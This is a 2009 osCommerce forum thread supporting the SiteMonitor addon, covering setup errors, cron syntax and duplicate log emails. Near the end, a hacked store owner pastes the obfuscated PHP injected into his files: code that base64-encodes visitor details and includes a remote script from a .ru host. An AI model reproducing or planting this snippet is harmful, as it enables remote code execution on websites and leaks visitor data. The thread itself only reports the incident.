Jack_mcs Posted June 7, 2009 Author Share Posted June 7, 2009 Go to admin->SiteMonitor->Admin and click on the top update button to initially set it up and test it. Jack Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. All of My Addons Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
kuai Posted June 15, 2009 Share Posted June 15, 2009 Hey Jack, This looks like a great contrib but I have a stupid question. I'm currently completing the store on my local machine by adding some security. Will I have any problem implementing and testing on the local machine? Once uploaded to the host, will I need to change any config files other than the one needed for the cron job? Thanks, Kuai Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted June 15, 2009 Author Share Posted June 15, 2009 Yes, it will run locally as long as the configure options are correct. When you move to the server, the configure options will have to be changed and you will need to create a new reference file. Jack Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. All of My Addons Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
kuai Posted June 15, 2009 Share Posted June 15, 2009 Yes, it will run locally as long as the configure options are correct. When you move to the server, the configure options will have to be changed and you will need to create a new reference file. Jack Thanks, Kuai Quote Link to comment Share on other sites More sharing options...
kuai Posted June 15, 2009 Share Posted June 15, 2009 Hey Jack, Just wanted to let you know the program runs fine on the local machine after getting the correct "Start Directory" root info. The only error, which I don't consider an error, was the mail server which is not configured for my testing environment. Everything works as advertised on v2.2 rc2a. Thanks again, Kuai Quote Link to comment Share on other sites More sharing options...
rocdy Posted July 4, 2009 Share Posted July 4, 2009 First i want to say thank you for this great contributions, but i just gets some error when i do manually sitemonitor it's bring me to this error warning : Warning: opendir(/home/username/public_html) [function.opendir]: failed to open dir: No such file or directory in /home/xxxxxxxx/public_html/admin/includes/functions/sitemonitor_functions.php on line 99 Warning: readdir(): supplied argument is not a valid Directory resource in /home/xxxxxxxx/public_html/admin/includes/functions/sitemonitor_functions.php on line 101 Reference file creation failed. Any idea about that will be very appreciated. :) Quote Rocdy Beginner in php programming and still learning from this forums. Special thanks for Oscommerce Community Forums that help me a lot. :-) Link to comment Share on other sites More sharing options...
Jack_mcs Posted July 4, 2009 Author Share Posted July 4, 2009 Warning: opendir(/home/username/public_html) [function.opendir]: failed to open dir: No such file or directory in /home/xxxxxxxx/public_html/admin/includes/functions/sitemonitor_functions.php on line 99 Try changing the username to your username in the settings. Jack Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. All of My Addons Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
FusionControlCentre Posted July 4, 2009 Share Posted July 4, 2009 Hi, This is a great contribution. I do have some problems. First off, I can create the reference file and all is well. Then when I run it, I do get errors on size, timestamps, and permissions on some files, not all. And I havent changed these files. But the new/deleted files works fine. I tested by deleting some and adding a test file and it found everything, so yay. But I would like to see the size modifications corrected as hackers generally inject stuff into preexisting files, not create random new ones... Is there something obvious that should be done there? Also I am having trouble with the cron job. I have it set to the path in the admin folder, but it comes back as "permission denied". This is due (as far as I can tell) to the fact that I am using a .htaccess file to protect my admin section. So I was wondering if any cron gurus out there know how to pass login details through the cron command. I am new to cron and have never used it before so I just followed the instructions in the included readme. I did have to remove the "php" part at the beginning and just put the link directly to the file. Ideas? Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted July 4, 2009 Author Share Posted July 4, 2009 But the new/deleted files works fine. I tested by deleting some and adding a test file and it found everything, so yay. But I would like to see the size modifications corrected as hackers generally inject stuff into preexisting files, not create random new ones... Is there something obvious that should be done there? I think someone else had this problem, though I don't recall the fix, if there was one. You can read back through the thread to be sure. Jack Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. All of My Addons Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
rocdy Posted July 6, 2009 Share Posted July 6, 2009 Try changing the username to your username in the settings. Jack Thank You. My error was fixed. I forgot to write my username in configuration. Thank for this usefull contribution. :-) Quote Rocdy Beginner in php programming and still learning from this forums. Special thanks for Oscommerce Community Forums that help me a lot. :-) Link to comment Share on other sites More sharing options...
marcgenou Posted July 9, 2009 Share Posted July 9, 2009 Hi Jack First, I must say its a wonderful contribution. I only have a little doubt about logs sent to mail. I am receiving two or three mails each time I run the script, all with the same log. I am using same email address into from: and to: labels. Do you know why this could be happening? Thank you Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted July 9, 2009 Author Share Posted July 9, 2009 There isn't anything in the code to send the email more than once. Maybe your cron job is running it more frequently than you meant? I seem to recall someone else having this problem though I don't know what the fix, if any, was. You'll need to read back through this thread to find that. Jack Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. All of My Addons Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
marcgenou Posted July 9, 2009 Share Posted July 9, 2009 No Jack, I'm not using cron to launch the script. I run it manually. Also, first time I used it, it only sent me one mail, two for the second time and three mails since then. Sounds weird. I'm gonna try to figure what it is... Quote Link to comment Share on other sites More sharing options...
♥Biancoblu Posted July 13, 2009 Share Posted July 13, 2009 (edited) Jack, I assume the script is supposed to send an email whether it is ran manually or by a cron job? If that is correct then my cron job isn't running. I have read your instructions about the cron command, but my host tells me it's better to do this command, and the cron is supposed to write in either one of the log files, but with my site, nothing seems to happen. 30 0 * * * php $HOME/admin/sitemonitor.php >>$HOME/cron.log 2>>$HOME/cron.err Isabella Edited July 13, 2009 by Biancoblu Quote ~ Don't mistake my kindness for weakness ~ Link to comment Share on other sites More sharing options...
Jack_mcs Posted July 13, 2009 Author Share Posted July 13, 2009 Jack, I assume the script is supposed to send an email whether it is ran manually or by a cron job? If that is correct then my cron job isn't running. I have read your instructions about the cron command, but my host tells me it's better to do this command, and the cron is supposed to write in either one of the log files, but with my site, nothing seems to happen. 30 0 * * * php $HOME/admin/sitemonitor.php >>$HOME/cron.log 2>>$HOME/cron.err Isabella The script only sends email if the email option is set in the settings. As for the cron job, that is host specific. The syntax provided with the contribution will work with many hosts, but not all. But, either way, that isn't something that can be handled here. Your host will have to figure that out. Jack Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. All of My Addons Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
dicko_md Posted July 13, 2009 Share Posted July 13, 2009 hi does anybody know what this error means Warning: opendir(/home/username/public_html) [function.opendir]: failed to open dir: No such file or directory in /home/******/public_html/catalog/admin/includes/functions/sitemonitor_functions.php on line 99 Warning: readdir(): supplied argument is not a valid Directory resource in /home/******/public_html/catalog/admin/includes/functions/sitemonitor_functions.php on line 101 Reference file creation failed. I have followed the instructions to the end and gone through them 3 times and I have done what it says. I am thinking there should be a folder created somewhere....am I right ? Thanks Dicko Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted July 13, 2009 Author Share Posted July 13, 2009 Please read back through the thrad. The problem has been addressed many times. Jack Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. All of My Addons Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
♥Biancoblu Posted July 13, 2009 Share Posted July 13, 2009 The script only sends email if the email option is set in the settings. As for the cron job, that is host specific. The syntax provided with the contribution will work with many hosts, but not all. But, either way, that isn't something that can be handled here. Your host will have to figure that out. Jack Ok, thank you. But about the command they suggest I do, do you think it's ok to turn home into a variable? Quote ~ Don't mistake my kindness for weakness ~ Link to comment Share on other sites More sharing options...
Jack_mcs Posted July 13, 2009 Author Share Posted July 13, 2009 That's a server setting, not anything in the code. Jack Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. All of My Addons Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
smic717394 Posted July 17, 2009 Share Posted July 17, 2009 I just upgrade from 1.5 to 1.7 and now it sends 2 emails i receive the same email 2 times. Also is there a way of deleting the reference file without actually setting the admin folder to 777, now i set the admin to 777 delete the reference file and then set the admin back to 755. Also what is the Admin Username: and password used for? Anything useful? Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted July 17, 2009 Author Share Posted July 17, 2009 See previous posts regarding two emails. You shouldn't have to set the admin permissions just to use the contribution. That is due to the way your server is setup and you will need to talk to your host to get it fixed. The username/passowrd are used for connecting with curl if that option is desired. Jack Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. All of My Addons Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
smic717394 Posted July 17, 2009 Share Posted July 17, 2009 See previous posts regarding two emails. You shouldn't have to set the admin permissions just to use the contribution. That is due to the way your server is setup and you will need to talk to your host to get it fixed. The username/passowrd are used for connecting with curl if that option is desired. Jack Hi Jack, I tried everything in regards to the double emails, but no luck i still receive double emails, for whatever reason the "admin/quarantine" keep appearing in the list. If i leave only one folder in the exclusion list it takes forever but i only receive one email. I dont use cron $excludeList = array("admin/quarantine","admin/backups","admin/images","tmp","images","catalog","feeds","googletool","guest","livesupport","news","img","plesk-stat","picture_library"); //don't check these directories - change to your liking - must be set prior to first run Quote Link to comment Share on other sites More sharing options...
smic717394 Posted July 17, 2009 Share Posted July 17, 2009 Hi Jack, I tried everything in regards to the double emails, but no luck i still receive double emails, for whatever reason the "admin/quarantine" keep appearing in the list. If i leave only one folder in the exclusion list it takes forever but i only receive one email. I dont use cron $excludeList = array("admin/quarantine","admin/backups","admin/images","tmp","images","catalog","feeds","googletool","guest","livesupport","news","img","plesk-stat","picture_library"); //don't check these directories - change to your liking - must be set prior to first run Actualy i just tried with only one folder and I still get 2 emails. on v1.5 i only receive 1 $excludeList = array("admin"); //don't check these directories - change to your liking - must be set prior to first run Quote Link to comment Share on other sites More sharing options...
smic717394 Posted July 17, 2009 Share Posted July 17, 2009 I think this is a great contribution but I think hackers can get around it. On the 15 i got hacked and I had all the files files from includes, admin and templates changed, the permission changed to 777 and on each of this files just before the last ?> the code bellow that would connect to some Russian page, and the site monitor didn't report anything at all. error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($B).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beijjzzazbzjzbgbzb".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beijjzzazbzjzbgbzb".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);} Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted July 17, 2009 Author Share Posted July 17, 2009 This contribution doesn't prevent hacking in any way. It is just menat to monitor the files for changes so that you know someting was changed. Jack Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. All of My Addons Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.